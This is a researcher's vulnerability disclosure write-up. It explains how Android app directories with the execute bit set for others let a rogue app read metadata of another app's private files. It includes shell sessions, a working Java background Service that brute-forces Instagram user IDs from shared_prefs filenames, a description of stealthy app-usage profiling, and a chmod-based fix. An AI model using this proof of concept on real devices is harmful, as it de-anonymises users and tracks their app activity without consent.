TL;DR: A rogue Android app could read any other App’s file metadata: filename, size, last modification date. If a filename contained sensitive predictable data, the rogue Android app could locally brute-force this, which was the case for Instagram on Android. Through the leakage of filesize and last modification date, a rogue Android app could monitor real-time usage of others apps. The file system permissions bug has been present in Android since the very beginning. Google rated this vulnerability as a low risk issue and paid out a $500 bug bounty.

Issue

Android App Private Data is currently stored by default in /data/data/<packagename>/. This data is supposed to be visible & accessible only by the App itself, not by any other App. Let’s take the Youtube App as an example. It has its private data stored at location /data/data/com.google.android.youtube/. Let’s look at the directory & file permissions from top to bottom:

Hierarchic directory permissions for Youtube Android App 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 / data / drwxrwx -- x system system 2015 - 11 - 30 20 : 30 data / data / data / drwxrwx -- x system system 2015 - 11 - 29 15 : 34 data / data / data / com .google .android .youtube drwxr - x -- x u0_a77 u0_a77 2015 - 11 - 29 11 : 02 com .google .android .youtube / data / data / com .google .android .youtube /* drwxrwx -- x u0_a77 u0_a77 2015 - 11 - 08 18 : 15 app_sslcache drwxrwx -- x u0_a77 u0_a77 2015 - 11 - 30 19 : 54 cache drwxrwx -- x u0_a77 u0_a77 2015 - 11 - 29 13 : 06 databases drwxrwx -- x u0_a77 u0_a77 2015 - 11 - 12 12 : 10 files lrwxrwxrwx install install 2015 - 11 - 29 11 : 02 lib - > / data / app - lib / com .google .android .youtube - 1 drwxrwx -- x u0_a77 u0_a77 2015 - 11 - 30 19 : 54 shared_prefs

As can be noticed, all directories in the hierarchy have the executable (+x) permission set for others. Straight from Wikipedia:

The execute permission grants the ability to execute a file. When set for a directory, this permission grants the ability to access file contents and meta-information if its name is known, but not list files inside the directory, unless read is set also.

Testing this empirically confirms this: other users can cd into these directories, but cannot ls all files inside the directory (no read access) or e.g. create files (no write access):

File permissions of a regular Android App 1 2 3 4 5 6 7 8 9 10 11 12 u0_a84 @ mako : / data / data $ ls - la opendir failed , Permission denied u0_a84 @ mako : / data / data $ cd com .google .android .youtube u0_a84 @ mako : / data / data / com .google .android .youtube $ ls - la opendir failed , Permission denied u0_a84 @ mako : / data / data / com .google .android .youtube $ cd wrongdir / system / bin / sh : < stdin > [ 22 ] : cd : / data / data / com .google .android .youtube / wrongdir : No such file or directory u0_a84 @ mako : / data / data / com .google .android .youtube $ cd shared_prefs u0_a84 @ mako : / data / data / com .google .android .youtube / shared_prefs $ ls - la opendir failed , Permission denied u0_a84 @ mako : / data / data / com .google .android .youtube / shared_prefs $ echo “ test ” > test .xml / system / bin / sh : < stdin > [ 31 ] : can ' t create test .xml : Permission denied

However, what is remarkable is that existing files inside these directories can be listed and their meta-information gathered, when the filename is known beforehand. In the case of the Youtube app, there is a default file named “youtube.xml” in the shared_prefs folder. This file can be listed by any other app, but not read due to file permissions on the file itself:

View metadata of youtube.xml under permissions of other Android App 1 2 3 4 u0_a84 @ mako : / data / data / com .google .android .youtube / shared_prefs $ ls - la youtube .xml - rw - rw ---- u0_a77 u0_a77 6680 2015 - 11 - 30 19 : 54 youtube .xml u0_a84 @ mako : / data / data / com .google .android .youtube / shared_prefs $ cat youtube .xml / system / bin / sh : < stdin > [ 28 ] : cat : youtube .xml : Permission denied

As can be seen, any rogue app can thus:

Verify the existence of private files of other apps via attempting to “ls” them on their expected location Poll the size and last modified data of existing files of other apps

This imposes a security issue. It can be exploited in at least two different ways:

A rogue app can monitor usage of any other app, by monitoring carefully chosen files. E.g. if a rogue app wants to keep track when the Android mobile device user utilizes Youtube, the file size & last modified date of private file “youtube.xml” in Youtube’s shared_prefs directory can be polled periodically. This file is constantly being modified while the Youtube app is in use, and thus can be used to perform stealthy usage profiling. In case that a legitimate app uses sensitive but predictable data as part of a filename, this can be brute-forced by rogue apps. One example I’ve seen coming by a couple of times is a unique user identifier. E.g. Instagram and Facebook have the below files stored at the following locations: Instagram: /data/data/com.instagram.android/shared_prefs/<USERID>.xml

Facebook: /data/data/com.facebook.katana/shared_prefs/XStorage-LATEST-<USERID>.xml

In case of Instagram, the unique USERID currently lies in range 0-2500000000, which is feasible for a local brute-force attack. The following java code for an Android Service can be used by a rogue app to brute force the identifier in the background, in order to reveal the identity of the Android mobile phone’s user via this account:

PoC code to brute-force Instagram user identifier 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import java . io . File ; import java . math . BigInteger ; import android . app . Service ; import android . content . Intent ; import android . os . IBinder ; import android . util . Log ; public class MyService extends Service { @Override public int onStartCommand ( Intent intent , int flags , int startId ) { new Thread ( new Runnable ( ) { public void run ( ) { Log . v ( "brute" , "Bruteforce started" ) ; BigInteger begin = BigInteger . ZERO ; BigInteger end = new BigInteger ( "2500000000" ) ; String dirPath = "/data/data/com.instagram.android/shared_prefs/" ; while ( begin . compareTo ( end ) ! = 1 ) { String filename = begin . toString ( ) + ".xml" ; File test = new File ( dirPath , filename ) ; if ( test . exists ( ) ) { Log . v ( "brute" , "Account found: " + begin . toString ( ) ) ; } begin = begin . add ( BigInteger . ONE ) ; } Log . v ( "brute" , "Bruteforce ended" ) ; } } ) . start ( ) ; return Service . START_STICKY ; } @Override public IBinder onBind ( Intent intent ) { // TODO Auto-generated method stub return null ; } }

Note that once the service has been started, the original rogue Android app can be closed – the service will keep on brute-forcing in the background. The attack was performed on a Nexus 4 device and took less than 5 days to cycle through all 2.500.000.000 possible files, hitting the correct one on the go:

This could be used by an attacker to discover the real identity of the user of the device he/she has infected. This JSONP waterhole attack from 2015 had a similar purpose. Note that Instagram also contains a Content Provider to query the USERID of the registered account (com.instagram.contentprovider.CurrentUserProvider), but is prohibited to query for other apps by default as tested through Drozer:

It is thus clearly not the intention of Instagram to reveal this information to other untrusted Applications. I initially found this Android bug while examining the Instagram app during my bug hunting endeavors there.

Remediation

The issue can be remediated by removing the +x permissions for others on app directories in /data/data. This will prevent cd’ing & listing of known files inside these directories, as this property cascades properly:

Pre-fix 1 2 3 4 u0_a84 @ mako : / data / data $ cd com .google .android .youtube u0_a84 @ mako : / data / data / com .google .android .youtube $ cd . . u0_a84 @ mako : / data / data $ ls - la com .google .android .youtube / shared_prefs / youtube .xml - rw - rw ---- u0_a77 u0_a77 6680 2015 - 11 - 30 19 : 54 youtube .xml

Fix 1 2 3 4 5 root @ mako : / data / data # ls -la | grep youtube drwxr - x -- x u0_a77 u0_a77 2015 - 11 - 29 11 : 02 com .google .android .youtube root @ mako : / data / data # chmod 750 com.google.android.youtube root @ mako : / data / data # ls -la | grep youtube drwxr - x --- u0_a77 u0_a77 2015 - 11 - 29 11 : 02 com .google .android .youtube

Post-fix 1 2 3 4 u0_a84 @ mako : / data / data $ cd com .google .android .youtube / system / bin / sh : < stdin > [ 25 ] : cd : / data / data / com .google .android .youtube : Permission denied u0_a84 @ mako : / data / data $ ls - la com .google .android .youtube / shared_prefs / youtube .xml com .google .android .youtube / shared_prefs / youtube .xml : Permission denied

Timeline